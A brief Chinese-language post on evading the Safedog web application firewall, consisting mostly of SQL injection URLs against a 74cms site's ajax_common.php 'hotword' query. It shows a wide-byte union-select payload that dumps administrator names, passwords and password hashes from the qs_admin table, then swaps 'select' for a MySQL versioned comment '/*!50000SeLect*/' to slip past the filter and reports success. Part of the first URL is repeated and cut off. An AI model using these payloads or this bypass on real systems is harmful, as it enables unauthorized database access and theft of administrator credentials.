绕过安全狗sql注入
http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23 被拦截了，经过测试拦截的是select，那么把select换成/*!50000SeLect*/呢 然后提交 http://demo.7
被拦截了，经过测试拦截的是select，那么把select换成/*!50000SeLect*/呢
然后提交
|
http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23
|
成功绕过